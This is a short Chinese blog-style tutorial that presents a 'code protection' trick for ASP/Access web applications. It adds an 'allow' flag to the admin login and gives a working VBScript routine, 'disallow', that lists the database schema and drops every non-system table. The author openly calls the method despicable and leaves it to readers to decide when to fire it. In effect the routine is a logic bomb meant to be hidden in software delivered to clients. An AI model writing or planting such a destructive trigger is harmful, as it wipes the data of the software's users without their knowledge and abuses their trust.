ASP代码保护工作是件非常心烦的事情，根据笔者的经验，既要让别人正常使用，又要绝对保护几乎不太可能。所以只能相对性的增加保护力度，今天研究出一套非常卑鄙的手段与大家分享。爱扔鸡蛋的朋友请准备新鲜的，太臭了可不行！！^_*

首先说明一下，前台几乎不太好弄，就弄一下后台就行了。后台登陆的时候需要用户名和密码，相关数据是存数据库里边的，但此次我们要在数据库里加一个属性：allow 既允许使用，默认值为True；
还需要一个函数：

sub disallow
rs.close:set rs=nothing '结束和释放已经占用的数据库
set rs=Conn.OpenSchema(20) 'conn为连接数据库的对象,此句列出了数据库中的所有数据库清单
do while not rs.eof '一个回圈跑完整个数据库的数据表清单
if left(rs(2),4)<>"MSys" then '排除系统数据表
conn.execute("drop "&rs(3)&" "&rs(2)) '删除数据表
end if
rs.movenext
loop
end sub

本函数在IIS5.1 , ASP+ACCESS环境下测试通过。
上面这个函数的功能就是删除数据库中的所有非系统数据表, rs(0)和rs(1)是收不到数据的，rs(2)是数据表名，rs(3)是数据表类型，如：TABLE,INDEX等等. 我查阅的资料找到这东东的，具体为什么我也未弄清楚。希望高手指点。函数写好了，原理讲清楚了。具体在什么条件下要删除数据表就留给你自己发挥了。